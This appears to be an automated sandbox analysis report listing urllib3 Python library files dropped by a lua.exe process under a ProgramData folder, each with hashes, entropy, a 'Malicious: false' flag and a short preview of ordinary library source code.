SHA1:	C91BFBE803C89279012DBB206129BCF7B52F3545
SHA-256:	ECFC5BD2D29F0C1FCB4C63C4462B301F4AA89A10E85143A8E64C326C028B4321
SHA-512:	A42EBC9EDA24180C703BFCDA893F102688AC71BC736B4B7A5B89127553BF701D908FC1519E31573E5D81EEEE640B19354EB10295B2B39C947BE2E93674776AE0
Malicious:	false
Preview:	""".This module provides a pool manager that uses Google App Engine's.`URLFetch Service <https://cloud.google.com/appengine/docs/python/urlfetch>`_...Example usage::.. from urllib3 import PoolManager. from urllib3.contrib.appengine import AppEngineManager, is_appengine_sandbox.. if is_appengine_sandbox():. # AppEngineManager uses AppEngine's URLFetch API behind the scenes. http = AppEngineManager(). else:. # PoolManager uses a socket-level API behind the scenes. http = PoolManager().. r = http.request('GET', 'https://google.com/')..There are `limitations <https://cloud.google.com/appengine/docs/python/\.urlfetch/#Python_Quotas_and_limits>`_ to the URLFetch service and it may not be.the best choice for your application. There are three options for using.urllib3 on Google App Engine:..1. You can use :class:`AppEngineManager` with URLFetch. URLFetch is. cost-effective in many circumstances as long as your usage is within the. limitations..2.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\ntlmpool.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4160
Entropy (8bit):	4.5678462312510675
Encrypted:	false
SSDEEP:	48:bAeJ6bJawJ3iM46D90GLq8EokHylKuXPgHZ9Eq1eZwoChX9VJd5LF2FQskCqc9ct:su6bJzyMoN0roEZnstVnvohq5VKe2Fc
MD5:	1C75852AE7A1ADBBD0FA651DB7E6FD19
SHA1:	DD9DECB1DA1D1C5773A0DE48520BC13329302FD0
SHA-256:	E88F79875FFBD5FCF19A831236D634801F259F20A856D3FF0E9A851A3D787DD5
SHA-512:	105E0C239FE22F0325D42650BAA465D10939CF4029A25EE11738121753D22DEA450C57FECC02F8C29F3ECA0F9CFD4EFC8D798AAC59A75C9DC1ABCB6EE9D22448
Malicious:	false
Preview:	""".NTLM authenticating pool, contributed by erikcederstran..Issue #10, see: http://code.google.com/p/urllib3/issues/detail?id=10.""".from __future__ import absolute_import..from logging import getLogger..from ntlm import ntlm..from .. import HTTPSConnectionPool.from ..packages.six.moves.http_client import HTTPSConnection..log = getLogger(__name__)...class NTLMConnectionPool(HTTPSConnectionPool):. """. Implements an NTLM authentication version of an urllib3 connection pool. """.. scheme = "https".. def __init__(self, user, pw, authurl, args, kwargs):. """. authurl is a random URL on the server that is protected by NTLM.. user is the Windows user, probably in the DOMAIN\\username format.. pw is the password for the user.. """. super(NTLMConnectionPool, self).__init__(args, **kwargs). self.authurl = authurl. self.rawuser = user. user_parts = user.split("\\", 1). self.domain = user_parts[0].upper().

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\pyopenssl.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	16778
Entropy (8bit):	4.771547616488712
Encrypted:	false
SSDEEP:	192:uNP6MI33mikRJnFOkw+vZKZ783u12GWDUGI0iwZzGBrzPwW4QmkFlrl33hDYmD98:uNCn7kztw+vYhSukGUiwdtWxVpt72
MD5:	EC142A5B81EEC065DF3091CD74F21B9A
SHA1:	E581FB8FF6FE873D0E84D5D8B659C8C0A4BD534E
SHA-256:	BE087A8F9DB0F71830ABEDD1DA47C1E4CD896E54004C97CA00ADE52007359128
SHA-512:	C5B821224F7E7555AF7A035AF7885E0EC769ED9598BBE41A2A70C49742318111A121BB39A7D99B2965948BC9264D11AF84E55E0D6F38B663F955252205D4FD70
Malicious:	false
Preview:	""".TLS with SNI_-support for Python 2. Follow these instructions if you would.like to verify TLS certificates in Python 2. Note, the default libraries do.not do certificate checking; you need to do additional work to validate.certificates yourself...This needs the following packages installed:..* `pyOpenSSL`_ (tested with 16.0.0).* `cryptography`_ (minimum 1.3.4, from pyopenssl).* `idna`_ (minimum 2.0, from cryptography)..However, pyopenssl depends on cryptography, which depends on idna, so while we.use all three directly here we end up having relatively few packages required...You can install them with the following command:.... code-block:: bash.. $ python -m pip install pyopenssl cryptography idna..To activate certificate checking, call.:func:`~urllib3.contrib.pyopenssl.inject_into_urllib3` from your Python code.before you begin making HTTP requests. This can be done in a ``sitecustomize``.module, or at any other time before your application begins using ``urllib3``,.like this

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\securetransport.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	34286
Entropy (8bit):	4.6316192959955425
Encrypted:	false
SSDEEP:	768:cImrAW79SgjjHsC3tG3+Cfah4h4MS24vUw1IizY:cznc8c84CMS2CM
MD5:	10A6B3C0404C50AF30E9CD8278F480FF
SHA1:	4D34697108894349E2492C158ABE7FB3EA04A618
SHA-256:	2B118F664F1DE187A95A6ED173E481B755EBCC87E72CA73C26451557BE57CE01
SHA-512:	A4B75CD069F681FB97DE855697A68F6E76C09404BEFF6E35FB322A75F97B8830A0C9F196752986F84A8CA7FEA3B68492D68C36C3C277EF5D13D50E0BE8B1E16C
Malicious:	false
Preview:	""".SecureTranport support for urllib3 via ctypes...This makes platform-native TLS available to urllib3 users on macOS without the.use of a compiler. This is an important feature because the Python Package.Index is moving to become a TLSv1.2-or-higher server, and the default OpenSSL.that ships with macOS is not capable of doing TLSv1.2. The only way to resolve.this is to give macOS users an alternative solution to the problem, and that.solution is to use SecureTransport...We use ctypes here because this solution must not require a compiler. That's.because pip is not allowed to require a compiler either...This is not intended to be a seriously long-term solution to this problem..The hope is that PEP 543 will eventually solve this issue for us, at which.point we can retire this contrib module. But in the short term, we need to.solve the impending tire fire that is Python on Mac without this kind of.contrib module. So...here we are...To use this module, simply import and inject it::..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\socks.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7097
Entropy (8bit):	4.6112455657748965
Encrypted:	false
SSDEEP:	96:XojUEqJPKBdnuOSw/f2SxrrP611szEVkgJss:XVEqAjuOJ/f2SBrC11+EyMV
MD5:	C16975BD57EAFAD6B8F62D27288E3954
SHA1:	BB39C173E98D42B4F3E6597F21BAC457C5A479B5
SHA-256:	0DC463336974AD0308CA162B37AAFEB6756463A6530F11C994CF3FBAC0241820
SHA-512:	43E7DEB1594E160F0CE972D68CFB8D8E972BD51EADB89682685FDE86D0D30CB8A9C719FD06AB37D2CC5EAB3E1A295417E4EEA39C25D8C7F14378527AE19C24CD
Malicious:	false
Preview:	# -- coding: utf-8 --.""".This module contains provisional support for SOCKS proxies from within.urllib3. This module supports SOCKS4, SOCKS4A (an extension of SOCKS4), and.SOCKS5. To enable its functionality, either install PySocks or install this.module with the ``socks`` extra...The SOCKS implementation supports the full range of urllib3 features. It also.supports the following SOCKS features:..- SOCKS4A (``proxy_url='socks4a://...``).- SOCKS4 (``proxy_url='socks4://...``).- SOCKS5 with remote DNS (``proxy_url='socks5h://...``).- SOCKS5 with local DNS (``proxy_url='socks5://...``).- Usernames and passwords for the SOCKS proxy.... note::. It is recommended to use ``socks5h://`` or ``socks4a://`` schemes in. your ``proxy_url`` to ensure that DNS resolution is done from the remote. server instead of client-side when connecting to a domain name...SOCKS4 supports IPv4 and domain names with the SOCKS4A extension. SOCKS5.supports IPv4, IPv6, and domain names...When connecting to a

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\exceptions.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7810
Entropy (8bit):	4.750644023592258
Encrypted:	false
SSDEEP:	96:e/1Sdu/Ds/a6sHyXNuvJ7q5jheEgHZWyj5cVPqCNIHtw6dov+K3x8fOVmmeHOVm6:ww/KfRWWHlcEC+H5dohvmmeHOVmucr8
MD5:	F848E11A3165F556727D827E992C4B29
SHA1:	D78BBE3C997DA7B441834AC4D3F34BB00406DCBE
SHA-256:	94DACA0B927CCDE05722EF5248A48D6FB70B8BC89797D011BBD0C70F649F9593
SHA-512:	B38B1702DF145DCC0DEA4F298FEA230286EF9CE368433F7EAB270529F38C4CEC112AAF299AFB5ECCDE90F69A606897FE286A01E40364F3400D005B2F28861D66
Malicious:	false
Preview:	from __future__ import absolute_import..from .packages.six.moves.http_client import IncompleteRead as httplib_IncompleteRead..# Base Exceptions...class HTTPError(Exception):. """Base exception used by this module.""".. pass...class HTTPWarning(Warning):. """Base warning used by this module.""".. pass...class PoolError(HTTPError):. """Base exception for errors caused within a pool.""".. def __init__(self, pool, message):. self.pool = pool. HTTPError.__init__(self, "%s: %s" % (pool, message)).. def __reduce__(self):. # For pickling purposes.. return self.__class__, (None, None)...class RequestError(PoolError):. """Base exception for PoolErrors that have associated URLs.""".. def __init__(self, pool, url, message):. self.url = url. PoolError.__init__(self, pool, message).. def __reduce__(self):. # For pickling purposes.. return self.__class__, (None, self.url, None)...class SSLError(HTTPError):. """Ra

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\fields.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8579
Entropy (8bit):	4.579166742309585
Encrypted:	false
SSDEEP:	192:nSikc2tLoIP2LRdjIZpN2m17t1KREMtcRG/T7mKBz:nSikJ5Pj+mOEg7mKBz
MD5:	93A2DC0508CF5901177F051F86D71C48
SHA1:	DFA65A499039A4D0FC62F81CE2B41A981C5E0B3E
SHA-256:	92F2C30A0FC9987D652E3514118FC52D2F14858EE106F0CFB951136D8F2676B3
SHA-512:	4BC02537AFD195D360E41DE7C712BE753F75AB79AC7D1FDDE53DEFFFCA15C9475CBC1D716408FFC05EDFDA38DAA8AEC1549AB73FB87B5156BDA278F31C061352
Malicious:	false
Preview:	from __future__ import absolute_import..import email.utils.import mimetypes.import re..from .packages import six...def guess_content_type(filename, default="application/octet-stream"):. """. Guess the "Content-Type" of a file... :param filename:. The filename to guess the "Content-Type" of using :mod:`mimetypes`.. :param default:. If no "Content-Type" can be guessed, default to `default`.. """. if filename:. return mimetypes.guess_type(filename)[0] or default. return default...def format_header_param_rfc2231(name, value):. """. Helper function to format and quote a single header parameter using the. strategy defined in RFC 2231... Particularly useful for header parameters which might contain. non-ASCII values, like file names. This follows. `RFC 2388 Section 4.4 <https://tools.ietf.org/html/rfc2388#section-4.4>`_... :param name:. The name of the parameter, a string expected to be ASCII only.. :param value:.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\filepost.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2440
Entropy (8bit):	4.639709442772028
Encrypted:	false
SSDEEP:	48:P5gfyQt55UqO+vYNqs72GZ4l6uhhCj29Bae/zNivW:ayi5FO+Hsxusuhhg2VYW
MD5:	2EA9F2FE3C06A4A560BC1DB53881D209
SHA1:	5D0F199CD76DC0C256C2F6C038DCA67E6B2C8374
SHA-256:	E5BFEAAA04475652FBB8BB5D018073061F861E653901F255B7FD8DD174B73DE6
SHA-512:	BA8BBF4AA0D859D1E74A730164D7345C4E8B393CE88C4646AEEE693A23DF933DB71BB4B0BD2A78F3D6A52AF7D04B79F2D7EABDEC34A83E362935DEEF9B06D857
Malicious:	false
Preview:	from __future__ import absolute_import..import binascii.import codecs.import os.from io import BytesIO..from .fields import RequestField.from .packages import six.from .packages.six import b..writer = codecs.lookup("utf-8")[3]...def choose_boundary():. """. Our embarrassingly-simple replacement for mimetools.choose_boundary.. """. boundary = binascii.hexlify(os.urandom(16)). if not six.PY2:. boundary = boundary.decode("ascii"). return boundary...def iter_field_objects(fields):. """. Iterate over fields... Supports list of (k, v) tuples and dicts, and lists of. :class:`~urllib3.fields.RequestField`... """. if isinstance(fields, dict):. i = six.iteritems(fields). else:. i = iter(fields).. for field in i:. if isinstance(field, RequestField):. yield field. else:. yield RequestField.from_tuples(*field)...def iter_fields(fields):. """. .. deprecated:: 1.6.. Iterate over fields... Th

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.27271868936365
Encrypted:	false
SSDEEP:	3:166MRm6NKXRGnHRz1YB3J6ILQRKvRMRFoNLEgQR3v:1RMABCRz163JjER0RMR6LEtR3v
MD5:	672889FC70A58564420F64D966E7ADC8
SHA1:	543E5DA816365A2E53EC0116B6B4A0208D386F71
SHA-256:	87804B843E2D2DA071D5A75A0ED2977EEA6C82A634C162D76FF7F5FF256557A0
SHA-512:	8AA7645286E61BFC585D23CC04D6718C7A68E8791D9CB2707068778C17D2D149AEF31CE84E2D404A792FDC81CC09843D957C8A2FC63BAF68BFEAB080E6237D4C
Malicious:	false
Preview:	from __future__ import absolute_import..from . import ssl_match_hostname..__all__ = ("ssl_match_hostname",).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\backports\makefile.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1417
Entropy (8bit):	4.612780318160635
Encrypted:	false
SSDEEP:	24:ldryECFkyumlAs0C7a5JXrwszMd2kTiJar6CbDmlVLQ2LZLQHLQS1uH:ryEAQC7aPwsSTEarf3mly2SckuH
MD5:	D26B39C4287D4132D46935C8E0B2E169
SHA1:	DF04CDFC410623DE6479AF9FCB007388CFB9AA9E
SHA-256:	9DBCEDDE2D1A80F54FD3B8EAAA08E16988CC9AE022FD6E44D04CB0662BD53BC1
SHA-512:	0B1EBBA9DA250FF2CD7A3E6BCFF311DD1625D3BC0569463B5B6F549DB88361B9523C09DC67BDEFFE048BAB1E6E5DFC096BD5C8372D3EDE0D58D21372920326B7
Malicious:	false
Preview:	# -- coding: utf-8 --.""".backports.makefile.~~~~~~~~~~~~~~~~~~..Backports the Python 3 ``socket.makefile`` method for use with anything that.wants to create a "fake" socket object..""".import io.from socket import SocketIO...def backport_makefile(. self, mode="r", buffering=None, encoding=None, errors=None, newline=None.):. """. Backport of ``socket.makefile`` from Python 3.5.. """. if not set(mode) <= {"r", "w", "b"}:. raise ValueError("invalid mode %r (only r, w, b allowed)" % (mode,)). writing = "w" in mode. reading = "r" in mode or not writing. assert reading or writing. binary = "b" in mode. rawmode = "". if reading:. rawmode += "r". if writing:. rawmode += "w". raw = SocketIO(self, rawmode). self._makefile_refs += 1. if buffering is None:. buffering = -1. if buffering < 0:. buffering = io.DEFAULT_BUFFER_SIZE. if buffering == 0:. if not binary:. raise ValueError("unbuffered s

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\six.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	32536
Entropy (8bit):	4.776103357704882
Encrypted:	false
SSDEEP:	768:QSe9RWKbIy/SiYG8jll2rix9mlOD5sWdlY:JezWKbIy/Si78/d5nK
MD5:	48D4625A08131872536CF0A526AC9401
SHA1:	A2273B26BD09A6C6DC9FC76E3E1AFB1B2DE22484
SHA-256:	69DC78CFE78CFC3D15BEED0822A573140090FEEC7D97AE32EC391211F6F1083B
SHA-512:	5DE1D1A4F33083CE31456DAE74368A630221F720015E3A5729A84D72C31DFDEA5382AAE3E18ECC8ED2FFB208074CA6BE7A455502A63268051E9DD2429B00082B
Malicious:	false
Preview:	# Copyright (c) 2010-2019 Benjamin Peterson.#.# Permission is hereby granted, free of charge, to any person obtaining a copy.# of this software and associated documentation files (the "Software"), to deal.# in the Software without restriction, including without limitation the rights.# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.# copies of the Software, and to permit persons to whom the Software is.# furnished to do so, subject to the following conditions:.#.# The above copyright notice and this permission notice shall be included in all.# copies or substantial portions of the Software..#.# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISI

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\ssl_match_hostname\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	757
Entropy (8bit):	4.408109226856155
Encrypted:	false
SSDEEP:	12:kyHriPIijxIOggnPm5CEqxB+xNRwKlTAbrRCzcHR+wYwRwwxB+xDZE3nR6Q/:kAWhBnPm5CEMiwKebrRBRLwWOZInMy
MD5:	AC3C579CD8FF6E5DFEC08DB3572BA8BC
SHA1:	C1CD0B4CE18F083CD23A3230E0C17FC1D96EBECB
SHA-256:	CE9A5ECDD1107691AC61EAC8EA657A31F518CB8F79255E2670E582FC681B9635
SHA-512:	C7C22411570126EEEC4C837DA5B1192BF8388E438195C6004B9BA23FE5C0E46A3C3AD5E095BA6E7F1DE4118BDB9BD2196ED1DF3587479350330347C35B43C049
Malicious:	false
Preview:	import sys..try:. # Our match_hostname function is the same as 3.5's, so we only want to. # import the match_hostname function if it's at least that good.. if sys.version_info < (3, 5):. raise ImportError("Fallback to vendored code").. from ssl import CertificateError, match_hostname.except ImportError:. try:. # Backport of the function from a pypi module. from backports.ssl_match_hostname import ( # type: ignore. CertificateError,. match_hostname,. ). except ImportError:. # Our vendored copy. from ._implementation import CertificateError, match_hostname # type: ignore..# Not needed, but documenting what we provide..__all__ = ("CertificateError", "match_hostname").

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\ssl_match_hostname\_implementation.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5679
Entropy (8bit):	4.597342811905346
Encrypted:	false
SSDEEP:	96:qa5t+7RFp1bMziocVZn0QkWoS40Rrz8JPGH5tqLQ3IpdmcyHSup1eqtPZ:H5M/bbXB0QkWp40u4H4oIPmLyuCsB
MD5:	D22CD53DF77EC411CC8C0DFA98366ED8
SHA1:	B28A8B2F1DD772729A5D3303E2F1881AA1BC9C39
SHA-256:	E9D67EAB4EF883B5E1B09DBB3050A091CB7C895359077B0C66F2A17FE294572D
SHA-512:	F0A05809B61EC5F8240600129CC06C5D0DE8D7CEFB19EC7286DB34AB2E7C5F482DD2AC1AAB2C43E93F8B762C12CB9AB4D643980D95A182939C19704B227545CF
Malicious:	false
Preview:	"""The match_hostname() function from Python 3.3.3, essential when using SSL."""..# Note: This file is under the PSF license as the code comes from the python.# stdlib. http://docs.python.org/3/license.html..import re.import sys..# ipaddress has been backported to 2.6+ in pypi. If it is installed on the.# system, use it to handle IPAddress ServerAltnames (this was added in.# python-3.5) otherwise only do DNS matching. This allows.# backports.ssl_match_hostname to continue to be used in Python 2.7..try:. import ipaddress.except ImportError:. ipaddress = None..__version__ = "3.5.0.1"...class CertificateError(ValueError):. pass...def _dnsname_match(dn, hostname, max_wildcards=1):. """Matching according to RFC 6125, section 6.4.3.. http://tools.ietf.org/html/rfc6125#section-6.4.3. """. pats = []. if not dn:. return False.. # Ported from python3-syntax:. # leftmost, *remainder = dn.split(r'.'). parts = dn.split(r"."). leftmost = parts[0]. re

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\poolmanager.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19763
Entropy (8bit):	4.580419830104235
Encrypted:	false
SSDEEP:	384:Ix0JL44vDADtd76mgTImAmTLmDgDZxp4Butv:ISLPADtd+FTIpSiKxpAutv
MD5:	299FABCF7E164A24F0E2DFF65612E271
SHA1:	18AE68E81AED5181CE9E32CF1DC9E3536C120B31
SHA-256:	C21CE55FA51312038330E0B2D190CC50E351042CF9C3220CF19F68A57018F8B9
SHA-512:	4AB9C4AF0BD304BE4734AD7C1AE87EB4FC1B7B14F0274E24C67F0FCC65170A257AE882913A8A2F1F10E9F1C37CE3DDB7715F9C1E174FBDF21951AED98EE2D7AE
Malicious:	false
Preview:	from __future__ import absolute_import..import collections.import functools.import logging..from ._collections import RecentlyUsedContainer.from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool, port_by_scheme.from .exceptions import (. LocationValueError,. MaxRetryError,. ProxySchemeUnknown,. ProxySchemeUnsupported,. URLSchemeUnknown,.).from .packages import six.from .packages.six.moves.urllib.parse import urljoin.from .request import RequestMethods.from .util.proxy import connection_requires_http_tunnel.from .util.retry import Retry.from .util.url import parse_url..__all__ = ["PoolManager", "ProxyManager", "proxy_from_url"]...log = logging.getLogger(__name__)..SSL_KEYWORDS = (. "key_file",. "cert_file",. "cert_reqs",. "ca_certs",. "ssl_version",. "ca_cert_dir",. "ssl_context",. "key_password",.)..# All known keyword arguments that could be provided to the pool manager, its.# pools, or the underlying connections. This is used to con

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\request.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5985
Entropy (8bit):	4.441421608164705
Encrypted:	false
SSDEEP:	96:D32cO6oSxdCyJrs0o9JhTEDfmg3zkK7h3dSnPXW4Xdbnr6atK:DGR6oSXCydo9jymgwKtABZr6
MD5:	79224141DF1EEBFB42F87D6F481ACCD6
SHA1:	BD24F3BD1206768F9F7906EBC684B744F49AEC99
SHA-256:	645488A97D02E968B38B179C0A1677FE8932BBB044BF4959BB5553D2CEA1E123
SHA-512:	F47157A8757E58DF43F5E80E1990390CE838C601A0926882FB9A6D39A3901641B68B64122FEF115E53ACE3F1E808A24B99384AA0E1F4A75F33708F5AC76A5A8A
Malicious:	false
Preview:	from __future__ import absolute_import..from .filepost import encode_multipart_formdata.from .packages.six.moves.urllib.parse import urlencode..__all__ = ["RequestMethods"]...class RequestMethods(object):. """. Convenience mixin for classes who implement a :meth:`urlopen` method, such. as :class:`urllib3.HTTPConnectionPool` and. :class:`urllib3.PoolManager`... Provides behavior for making common types of HTTP request methods and. decides which type of request field encoding to use... Specifically,.. :meth:`.request_encode_url` is for sending requests whose fields are. encoded in the URL (such as GET, HEAD, DELETE)... :meth:`.request_encode_body` is for sending requests whose fields are. encoded in the body of the request using multipart or www-form-urlencoded. (such as for POST, PUT, PATCH)... :meth:`.request` is for making any kind of request, it will look up the. appropriate encoding format and use one of the above two methods to make. t

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\response.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	28203
Entropy (8bit):	4.251150113482539
Encrypted:	false
SSDEEP:	384:JYJr/YVfkk796iiO107JI1ecsnS6qB6sQv7bza7igXgPJ:MWkk796iXM4BDOR
MD5:	20AAD3A3250C966F461EAB386F8D69C7
SHA1:	C4012C35A9A92FE942984F53F16759106022C487
SHA-256:	846846061ED3904921FC8420E42D56FF1B8F36B8082AFE415173F213EAB42EE1
SHA-512:	43779D8858BF0723B690DB76E76497A968EE2F2A5F00FD7240B8A3FFAC8719D63E85EAB60B3BA60617A9A23E3C6DAFCED844052A9556A284B06B9FDC29DEB622
Malicious:	false
Preview:	from __future__ import absolute_import..import io.import logging.import zlib.from contextlib import contextmanager.from socket import error as SocketError.from socket import timeout as SocketTimeout..try:. import brotli.except ImportError:. brotli = None..from ._collections import HTTPHeaderDict.from .connection import BaseSSLError, HTTPException.from .exceptions import (. BodyNotHttplibCompatible,. DecodeError,. HTTPError,. IncompleteRead,. InvalidChunkLength,. InvalidHeader,. ProtocolError,. ReadTimeoutError,. ResponseNotChunked,. SSLError,.).from .packages import six.from .util.response import is_fp_closed, is_response_to_head..log = logging.getLogger(__name__)...class DeflateDecoder(object):. def __init__(self):. self._first_try = True. self._data = b"". self._obj = zlib.decompressobj().. def __getattr__(self, name):. return getattr(self._obj, name).. def decompress(self, data):. if not data:.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	4.83746578234033
Encrypted:	false
SSDEEP:	24:1R23fEVkSyG/TfgZ2G1lVZjY/ukxvt5U12MydsFtrB5cNuQOt4TJAAJxj:P+8ynGs1JjY/ukdX32FtrB5cNyKT6sj
MD5:	F951FB1888473EE32752499CE9B841A5
SHA1:	896463BCD6481C029DE1EF982B1F532942FA6B02
SHA-256:	2449929A6AAA2F26B0F0FE75814226661F06C20F62D7349EF83A2A022B67DA77
SHA-512:	FBB614667E169337204758BCF053EB65E55560BBB9A70CD749CF90F59059DB20C4419C999C1086754DF9D5C2306F9562262C689A8F49EC869309DABC5B6E547B
Malicious:	false
Preview:	from __future__ import absolute_import..# For backwards compatibility, provide imports that used to be here..from .connection import is_connection_dropped.from .request import SKIP_HEADER, SKIPPABLE_HEADERS, make_headers.from .response import is_fp_closed.from .retry import Retry.from .ssl_ import (. ALPN_PROTOCOLS,. HAS_SNI,. IS_PYOPENSSL,. IS_SECURETRANSPORT,. PROTOCOL_TLS,. SSLContext,. assert_fingerprint,. resolve_cert_reqs,. resolve_ssl_version,. ssl_wrap_socket,.).from .timeout import Timeout, current_time.from .url import Url, get_host, parse_url, split_first.from .wait import wait_for_read, wait_for_write..__all__ = (. "HAS_SNI",. "IS_PYOPENSSL",. "IS_SECURETRANSPORT",. "SSLContext",. "PROTOCOL_TLS",. "ALPN_PROTOCOLS",. "Retry",. "Timeout",. "Url",. "assert_fingerprint",. "current_time",. "is_connection_dropped",. "is_fp_closed",. "get_host",. "parse_url",. "make_headers",. "resolve_cert_reqs",.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\connection.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4910
Entropy (8bit):	4.618922443378174
Encrypted:	false
SSDEEP:	96:4hZ6A4yu4N1QdNwwStdwcWTy1IPCSgR4omvqm5BoQ/nQo:fquI6cqomvqm3/Qo
MD5:	198952B1C54770B4D536B273D3188A63
SHA1:	947BC92B65E28FE065FC3168894ECEF3DBBD7368
SHA-256:	DB507E2D7D1CF1F9313C3B2CC8709A2B4A429E6ACA9A196D839128A2E1E200F5
SHA-512:	9EB274294A084059E55D9992D081CE0D4BD7B1EC6768B84F69ABD4E98D406B79F7F7D3759E1F47292D4A1B19FF39D3E55C20C7FB2B945F066E5F91A375653EDD
Malicious:	false
Preview:	from __future__ import absolute_import..import socket..from urllib3.exceptions import LocationParseError..from ..contrib import _appengine_environ.from ..packages import six.from .wait import NoWayToWaitForSocketError, wait_for_read...def is_connection_dropped(conn): # Platform-specific. """. Returns True if the connection is dropped and should be closed... :param conn:. :class:`http.client.HTTPConnection` object... Note: For platforms like AppEngine, this will always return ``False`` to. let the platform handle connection recycling transparently for us.. """. sock = getattr(conn, "sock", False). if sock is False: # Platform-specific: AppEngine. return False. if sock is None: # Connection already closed (such as by httplib).. return True. try:. # Returns True if readable, which here means it's been dropped. return wait_for_read(sock, timeout=0.0). except NoWayToWaitForSocketError: # Platform-specific: AppEngine.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\proxy.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1604
Entropy (8bit):	4.494869995325611
Encrypted:	false
SSDEEP:	48:FaHRE8L38awee8CfdO2MG89dWysSd2SIv/gBe:OHLMhB8DN1wSI8e
MD5:	396E22D494BEB890973D959127DCBCF6
SHA1:	E6AA3913A30B6855373C8341A46584AA72592AC7
SHA-256:	1468A90049EF66D7B295D5CD8DC7B80C407B633C14F9AE657A9F32E52D2A1D08
SHA-512:	1118613463F8EFFA20DBE21EFFC82D2981A24E469323E93A2CAF5CBE5B5B5546E90FD115C3F5D5E25D01BC94FBB52B11448E0EB199572416549C527C9C8FE98B
Malicious:	false
Preview:	from .ssl_ import create_urllib3_context, resolve_cert_reqs, resolve_ssl_version...def connection_requires_http_tunnel(. proxy_url=None, proxy_config=None, destination_scheme=None.):. """. Returns True if the connection requires an HTTP CONNECT through the proxy... :param URL proxy_url:. URL of the proxy.. :param ProxyConfig proxy_config:. Proxy configuration from poolmanager.py. :param str destination_scheme:. The scheme of the destination. (i.e https, http, etc). """. # If we're not using a proxy, no way to use a tunnel.. if proxy_url is None:. return False.. # HTTP destinations never require tunneling, we always forward.. if destination_scheme == "http":. return False.. # Support for forwarding with HTTPS proxies and HTTPS destinations.. if (. proxy_url.scheme == "https". and proxy_config. and proxy_config.use_forwarding_for_https. ):. return False.. # Otherwise always use a t

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\queue.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	498
Entropy (8bit):	4.477353837826609
Encrypted:	false
SSDEEP:	12:bxtt3eX2xS2l1sQNkwQOlxtf52B1FwznOwk5J2MbRl9Z5:btOE1kS521wzOj
MD5:	716426931AFAD092EC0A85983BA6D094
SHA1:	F768307325C0240B5C595BB79E618D87FE4016CB
SHA-256:	9D1817F3F797FBF564BF1A17D3DE905A8CFC3ECD101D4004C482C263FECF9DC3
